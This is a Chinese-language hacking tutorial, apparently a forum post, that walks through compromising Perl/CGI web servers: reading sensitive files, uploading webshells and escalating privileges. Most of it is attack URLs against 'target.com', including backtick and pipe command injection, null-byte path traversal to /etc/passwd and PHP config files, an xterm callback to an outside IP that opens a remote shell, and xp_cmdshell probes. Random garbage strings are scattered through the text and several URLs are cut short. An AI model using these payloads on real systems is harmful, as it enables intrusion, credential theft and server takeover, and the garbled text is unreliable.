总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
5 S) u/ N2 u6 h: {1 O5 ?# [cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 ; K/ D: E' N4 e0 q2 L; y( m4 b8 K5 a
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 1 u) e3 j0 V2 R1 a( l1 n3 U5 Y5 P
注“
5 a. z* x" H- E0 w: yperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
& W5 H3 I3 G4 p- S# c9 r" W以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
9 F- A1 D9 g5 K0 @+ ]7 b. L+ ]# L
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造 1 E6 q* D* n7 P. @: l
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 ; U" l0 z# _5 o
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号 3 t- W: w' i6 d* N B1 ~% V
http://target.com/cgi-bin/home/news/sub.pl?`id` 1 y, \$ |! K7 g. Q6 J* O
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
' @ C1 p; \+ A& C# \http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示 9 X: m# O3 T7 z' Y" d5 [2 b: {
8 v1 |1 ~6 x( K. [" B: F
http://target.com/test.pl;ls|
- W& z6 P0 D& ~, x" zhttp://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|
3 X! B) I& v; j3 Fhttp://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|
2 I. U. R1 M7 U" W5 r3 Y% O3 \http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造
7 O3 j' W& N$ C; c* I0 a0 E比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。 , u) c0 ~7 y( g& E
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection / f9 ?; ?- Y" Q
5 F3 s8 Y6 o) h# C6 ^4 D
http://target.com/test.pl?&........ /../../etc/passwd
1 }& L/ U D( }2 S& H0 u( b) y
4 [) d3 ]" k: hhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ 0 G1 H/ A q! g* T' n# b! P" Q
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 7 `1 A. S$ G& {$ v2 u8 o) B
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00
0 c( A' L# ^7 t; q4 K4 ]+ T" R V" W4 t' ~. Y
http://www.target.org/show.php?f ... /include/config.php 查看php代码 9 U! J' G5 t# e; j, i3 E' f
http://www.target.org/show.php?f ... ng/admin/global.php
7 g- k: y3 o7 n7 g5 d# I
5 C0 ]) M! }" Eemm和ps的一句话, D6 U( ~! P; p" O
) D* h. @1 q4 g; N/ L6 ~
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20 6 q4 |; T* f# e% W' c* s5 R
! @" E- ^( W; Z8 ~# c3 p
>bbb%20|
- x) k* L1 K2 D) q6 w. v n9 a
. ]- Y* J. o. o' U7 p: l1 R* y' A9 hhttp://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
1 D4 C' i7 }5 b9 p
/ V" Q5 @8 V$ E! M% I- h5 Q4 t( Ghttp://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
+ {! w6 ]8 |1 B, u0 whttp://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin
% y! u \* }$ `% u) y' Q k. G% i3 D5 C
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 " n' P& _" M6 ]0 M6 Q
http://target.com/index.html#cmd.exe
' ?* V2 L% v6 |1 Ghttp://target.com/index.html?dummyparam=xp_cmdshell
% f5 _. w$ c I1 }% q5 olynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
6 G& P( b. Q, C; T* y2 d |